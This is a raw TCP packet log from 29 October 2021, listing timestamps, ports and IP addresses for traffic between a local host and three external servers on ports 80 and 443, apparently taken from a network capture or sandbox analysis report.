Oct 29, 2021 17:55:26.666732073 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.666765928 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:26.667890072 CEST	49805	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:27.630141020 CEST	49810	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.682260990 CEST	80	49810	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:27.683439970 CEST	49810	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.683465958 CEST	49810	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.685007095 CEST	49810	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.735949993 CEST	80	49810	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:27.736908913 CEST	80	49810	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:27.762223005 CEST	80	49810	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:27.764159918 CEST	49810	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.764194012 CEST	49810	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.807715893 CEST	49811	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.816230059 CEST	80	49810	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:27.860275984 CEST	80	49811	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:27.860676050 CEST	49811	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.861905098 CEST	49811	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.861927986 CEST	49811	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.914167881 CEST	80	49811	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:27.948240042 CEST	80	49811	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:27.948523998 CEST	49811	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.948766947 CEST	49811	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.978008032 CEST	49813	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:27.993458986 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:27.993541956 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:27.994028091 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.003294945 CEST	80	49811	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.030733109 CEST	80	49813	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.031339884 CEST	49813	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.031367064 CEST	49813	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.032511950 CEST	49813	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.049652100 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.049710035 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.084153891 CEST	80	49813	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.084903955 CEST	80	49813	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.091976881 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.094018936 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.094722986 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.094743013 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.095221996 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.111543894 CEST	80	49813	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.113889933 CEST	49813	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.114094019 CEST	49813	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.166929007 CEST	80	49813	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.214613914 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.222841978 CEST	49815	443	192.168.2.6	81.177.141.36
Oct 29, 2021 17:55:28.222903013 CEST	443	49815	81.177.141.36	192.168.2.6
Oct 29, 2021 17:55:28.224139929 CEST	49815	443	192.168.2.6	81.177.141.36
Oct 29, 2021 17:55:28.224195004 CEST	49815	443	192.168.2.6	81.177.141.36
Oct 29, 2021 17:55:28.224212885 CEST	443	49815	81.177.141.36	192.168.2.6
Oct 29, 2021 17:55:28.441710949 CEST	443	49815	81.177.141.36	192.168.2.6
Oct 29, 2021 17:55:28.443269968 CEST	49815	443	192.168.2.6	81.177.141.36
Oct 29, 2021 17:55:28.445008993 CEST	49815	443	192.168.2.6	81.177.141.36
Oct 29, 2021 17:55:28.445039034 CEST	443	49815	81.177.141.36	192.168.2.6
Oct 29, 2021 17:55:28.445307016 CEST	443	49815	81.177.141.36	192.168.2.6
Oct 29, 2021 17:55:28.463005066 CEST	49815	443	192.168.2.6	81.177.141.36
Oct 29, 2021 17:55:28.504874945 CEST	443	49815	81.177.141.36	192.168.2.6
Oct 29, 2021 17:55:28.627136946 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.627263069 CEST	443	49815	81.177.141.36	192.168.2.6
Oct 29, 2021 17:55:28.627366066 CEST	443	49815	81.177.141.36	192.168.2.6
Oct 29, 2021 17:55:28.628081083 CEST	49815	443	192.168.2.6	81.177.141.36
Oct 29, 2021 17:55:28.628103971 CEST	49815	443	192.168.2.6	81.177.141.36
Oct 29, 2021 17:55:28.628123045 CEST	443	49815	81.177.141.36	192.168.2.6
Oct 29, 2021 17:55:28.628132105 CEST	49815	443	192.168.2.6	81.177.141.36
Oct 29, 2021 17:55:28.628142118 CEST	443	49815	81.177.141.36	192.168.2.6
Oct 29, 2021 17:55:28.661426067 CEST	49817	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.665918112 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666003942 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666038036 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666098118 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666120052 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666156054 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.666188955 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666210890 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666265965 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.666275978 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666332006 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.666343927 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666388035 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666414976 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.666430950 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666472912 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666492939 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.666506052 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666544914 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.666565895 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666621923 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666655064 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666656971 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.666727066 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666743040 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666780949 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666780949 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.666821957 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.666836977 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666876078 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.666886091 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666891098 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666950941 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666971922 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.666986942 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.667001009 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.667011023 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667045116 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.667059898 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667108059 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667148113 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667150021 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.667161942 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667234898 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667273998 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667274952 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.667316914 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667351007 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667351961 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.667363882 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667413950 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667450905 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.667464972 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667519093 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667566061 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.667577982 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.667613983 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.669150114 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.683381081 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.683501005 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.683775902 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.683864117 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.683866024 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.683878899 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.683950901 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.683958054 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684029102 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684035063 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684062958 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684088945 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684106112 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684142113 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684155941 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684226990 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684293985 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684339046 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684374094 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684415102 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684437990 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684458971 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684463978 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684546947 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684581995 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684590101 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684614897 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684665918 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684670925 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684710026 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684724092 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684767962 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684794903 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684823036 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684825897 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.684840918 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.684895992 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701201916 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701278925 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701292038 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701318979 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701342106 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701356888 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701395035 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701401949 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701417923 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701463938 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701468945 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701483965 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701520920 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701533079 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701546907 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701584101 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701594114 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701606989 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701652050 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701662064 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701666117 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701678991 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701709032 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701745033 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701803923 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701807022 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701823950 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701872110 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701873064 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701926947 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.701993942 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.701997042 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702025890 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702048063 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702053070 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702059031 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702086926 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702099085 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702114105 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702120066 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702178001 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702191114 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702208996 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702256918 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702267885 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702282906 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702337980 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702353954 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702366114 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702395916 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702399015 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702447891 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702455044 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702469110 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702511072 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702519894 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702533007 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702564001 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702586889 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702591896 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702605963 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702636957 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702666044 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702722073 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702735901 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702775955 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702826977 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702845097 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702893019 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702930927 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.702960014 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.702977896 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703011990 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.703039885 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.703044891 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703064919 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703135014 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703238964 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.703253031 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703272104 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703335047 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.703520060 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.703526974 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.703609943 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703655005 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703689098 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.703702927 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703711987 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.703830957 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703866005 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703896046 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.703923941 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.703949928 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.703979015 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.704014063 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.704041004 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.704055071 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.704097986 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.704766989 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.704960108 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.714951038 CEST	80	49817	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.716018915 CEST	49817	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.716156006 CEST	49817	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.717459917 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.717515945 CEST	49817	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.717587948 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.717590094 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.717621088 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.718070984 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.719067097 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719115973 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719150066 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.719161034 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719269037 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719309092 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719316006 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.719331026 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719331980 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.719362974 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.719372034 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719405890 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.719554901 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719603062 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719645023 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.719654083 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719702959 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.719866037 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719923019 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719940901 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.719950914 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.719985962 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.720062971 CEST	443	49814	162.159.135.233	192.168.2.6
Oct 29, 2021 17:55:28.720201015 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.721525908 CEST	49814	443	192.168.2.6	162.159.135.233
Oct 29, 2021 17:55:28.769689083 CEST	80	49817	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.771079063 CEST	80	49817	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.800472975 CEST	80	49817	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.800558090 CEST	49817	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.800842047 CEST	49817	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.847053051 CEST	49819	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.854166985 CEST	80	49817	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.899432898 CEST	80	49819	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.899581909 CEST	49819	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.899774075 CEST	49819	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.899869919 CEST	49819	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.952370882 CEST	80	49819	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.979908943 CEST	80	49819	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:28.979995012 CEST	49819	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:28.980279922 CEST	49819	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.012411118 CEST	49820	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.032563925 CEST	80	49819	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.063972950 CEST	80	49820	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.064078093 CEST	49820	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.064220905 CEST	49820	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.064240932 CEST	49820	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.144377947 CEST	80	49820	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.144485950 CEST	49820	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.155093908 CEST	49820	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.202925920 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.206558943 CEST	80	49820	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.254707098 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.255659103 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.255841017 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.255848885 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.337485075 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.337542057 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.337584972 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.337625980 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.337656021 CEST	49822	80	192.168.2.6	185.98.87.159
Oct 29, 2021 17:55:29.337663889 CEST	80	49822	185.98.87.159	192.168.2.6
Oct 29, 2021 17:55:29.337690115 CEST	49822	80	192.168.2.6	185.98.87.159
